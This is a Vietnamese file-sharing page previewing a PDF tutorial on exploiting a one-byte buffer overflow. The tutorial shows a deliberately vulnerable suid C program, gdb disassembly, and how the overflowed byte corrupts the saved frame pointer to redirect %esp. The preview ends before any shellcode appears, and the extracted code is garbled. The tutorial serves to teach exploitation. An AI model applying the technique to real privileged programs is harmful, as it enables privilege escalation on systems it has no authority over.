Danh mục

Cách làm tràn bộ đệm bằng 1 byte

Số trang: 14      Loại file: pdf      Dung lượng: 103.77 KB      Lượt xem: 17      Lượt tải: 0    
Hoai.2512

Hỗ trợ phí lưu trữ khi tải xuống: 3,000 VND Tải xuống file đầy đủ (14 trang) 0
Xem trước 2 trang đầu tiên của tài liệu này:

Thông tin tài liệu:

Làm tràn bộ đệm bằng 1 byte trang này đã được đọc Giới thiệu Bộ đệm chương trình có thể bị làm tràn, ghi đè lên các dữ liệu quan trọng lưu trên vùng nhớ của tiến trình và từ đó chúng ta có thể đổi hướng thực thi của nó.
Nội dung trích xuất từ tài liệu:
Cách làm tràn bộ đệm bằng 1 byte Làm tràn bộ đệm bằng 1 bytetrang này đã được đọc lầnGiới thiệuBộ đệm chương trình có thể bị làm tràn, ghi đè lên các dữ liệu quantrọng lưu trên vùng nhớ của tiến trình và từ đó chúng ta có thể đổihướng thực thi của nó. Điều này không có gì mới. Bài viết này khôngđề cập nhiều đến việc làm thế nào để khai thác lỗi tràn bộ đệm, cũngnhư không dành để giải thích về lỗi này. Nó chỉ để làm rõ rằng có thểkhai thác lỗi tràn bộ đệm kể cả trong những điều kiện xấu nhất,chẳng hạn bộ đệm chỉ có thể bị làm tràn bởi một byte. Có nhiều kỹthuật kỳ bí với mục đích khai thác các tiến trình có đặc quyền trongnhững tình huống khó khăn nhất, kể cả khi đặc quyền của tiến trìnhđã bị tước bỏ. Chúng ta sẽ chỉ đề cập đến tràn bộ đệm một bytetrong bài viết này.Mục tiêu tấn côngHãy viết một chương trình suid giả bị lỗi, chúng ta sẽ đặt tên làsuid.Chương trình sẽ được viết sao cho bị tràn bộ đệm chỉ một byte duynhất.ipdev:~/tests$ cat > suid.c#include func(char *sm){char buffer[256];int i;for(i=0;iif (argc < 2) {printf(missing args\n);exit(-1);}func(argv[1]);}^Dipdev:~/tests$ gcc suid.c -o suidipdev:~/tests$Như đã thấy, chúng ta không có nhiều khoảng trống để khai thácchương trình này. Thực sự là tràn bộ đệm cũng chỉ bị gây ra bởi mộtbyte vượt ngoài kích thước vùng lưu trữ của bộ đệm. Chúng ta sẽphải sử dụng byte này một cách thật khéo léo. Trước khi khai tháclỗi, chúng ta nên xem qua byte này sẽ thực sự ghi đè lên những gì(bạn có thể đã biết điều đó). Hãy tập hợp những thông tin trên stackbằng gdb vào lúc tràn bộ đệm xảy ra.ipdev:~/tests$ gdb ./suid...(gdb) disassemble funcDump of assembler code for function func:0x8048134 : pushl %ebp0x8048135 : movl %esp,%ebp0x8048137 : subl $0x104,%esp0x804813d : nop0x804813e : movl $0x0,0xfffffefc(%ebp)0x8048148 : cmpl $0x100,0xfffffefc(%ebp)0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi0x8048158 : leal 0xffffff00(%ebp),%edx0x804815e : movl %edx,%eax0x8048160 : addl 0xfffffefc(%ebp),%eax0x8048166 : movl 0x8(%ebp),%edx0x8048169 : addl 0xfffffefc(%ebp),%edx0x804816f : movb (%edx),%cl0x8048171 : movb %cl,(%eax)0x8048173 : incl 0xfffffefc(%ebp)0x8048179 : jmp 0x8048148 0x804817b : nop0x804817c : movl %ebp,%esp0x804817e : popl %ebp0x804817f : retEnd of assembler dump.(gdb)Chúng ta đã biết, bộ xử lý (processor) sẽ push %eip lên stack trướctiên ngay khi thực hiện chỉ thị CALL. Tiếp theo, chương trình sẽ push%ebp lên kế đó như đã thấy ở địa chỉ *0x8048134. Cuối cùng, nó sẽkích hoạt bản ghi cục bộ (local frame) bằng cách giảm %esp đi0x104 (260) byte. Điều này có nghĩa các biến cục bộ sẽ có độ lớn0x104 byte (0x100 cho biến chuỗi và 0x004 cho biến integer). Lưu ýrằng các biến lưu trên stack theo đơn vị word có độ dài 4 byte, vì vậybộ đệm 255 byte sẽ thực sự chiếm vùng lưu trữ 256 byte. Bây giờchúng ta sẽ xem nội dung stack có gì trước khi tràn bộ đệm xảy ra:saved_eipsaved_ebpchar buffer[255]char buffer[254]...char buffer[000]int iĐiều này có nghĩa byte bị làm tràn sẽ ghi đè lên giá trị con trỏ framebảo lưu (saved frame pointer) đã được push lên stack ở đầu hàmfunc(). Nhưng làm thế nào byte này có thể được dùng để đổi hướngthực thi của chương trình? Hãy xem điều gì xảy ra với bản lưu của%ebp. Chúng ta đã biết rằng nó sẽ được phục hồi giá trị ở cuối hàmfunc(), như đã thấy ở địa chỉ *0x804817e. Những tiếp theo sẽ là gì?(gdb) disassemble mainDump of assembler code for function main:0x8048180 : pushl %ebp0x8048181 : movl %esp,%ebp0x8048183 : cmpl $0x1,0x8(%ebp)0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad80x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp0x8048196 : pushl $0xffffffff0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp0x80481a0 : movl 0xc(%ebp),%eax0x80481a3 : addl $0x4,%eax0x80481a6 : movl (%eax),%edx0x80481a8 : pushl %edx0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp0x80481b1 : movl %ebp,%esp0x80481b3 : popl %ebp0x80481b4 : ret0x80481b5 : nop0x80481b6 : nop0x80481b7 : nopEnd of assembler dump.(gdb)Tuyệt vời! Sau khi hàm func() được gọi, ở cuối hàm main(), %ebp sẽđược phục hồi giá trị vào %esp, như đã thấy ở địa chỉ *0x80481b1.Điều này có nghĩa chúng ta có thể đặt vào %esp một giá trị tuỳ ý.Nhưng nhớ rằng, giá trị tuỳ ý này không thực sự là tuỳ ý vì bạn chỉcó thể thay đổi một byte cuối cùng của %esp. Hãy kiểm tra xemchúng ta có đúng không.(gdb) disassemble mainDump of assembler code for function main:0x8048180 : pushl %ebp0x8048181 : movl %esp,%ebp0x8048183 : cmpl $0x1,0x8(%ebp)0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad80x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp0x8048196 : pushl $0xffffffff0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp0x80481a0 : movl 0xc(%ebp),%eax0x80481a3 : addl $0x4,%eax0x80481a6 : movl (%eax),%edx0x80481a8 : pushl %edx0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp0x80481b1 : movl %ebp,%esp0x80481b3 : popl %ebp0x80481b4 : ret0x80481b5 : nop0x80481b6 : nop0x80481b7 : nopEnd of assembler dump.(gdb) break *0x80481b4Breakpoint 2 at 0x80481b4(gdb) run `overflow 257`Starting program: /home/klog/tests/suid `overflow 257`Breakpoint 2, 0x80481b4 in main ()(gdb) info register espesp 0xbffffd45 0xbffffd45(gdb)Chúng ta đã đúng. Sau khi làm tràn bộ đệm bằng một ký tự A(0x41), giátrị %ebp được chuyển vào %esp, và được tăng lên thêm 4 vì %ebpđược pop rakhỏi stack ngay trước chỉ thị RET. Điều này cho ta kết quả 0xbffffd41+ 0x4= 0xbffffd45.Chuẩn bịThay đổi con trỏ stack sẽ cho chúng ta điều gì? Chúng ta không thểthay đổi giá trị của thanh ghi con trỏ bảo lưu (saved %eip) một cáchtrực tiếp giống như trong các khai thác lỗi tràn bộ đệm kinh điển,nhưng chúng ta có thể khiến bộ xử lý nghĩ rằng giá trị của nó trỏ đếnnơi khác. Khi bộ xử lý trở về (return) tự một thủ tục, nó chỉ pop giátrị word đầu tiên trên stack, xem nó là g ...

Tài liệu được xem nhiều: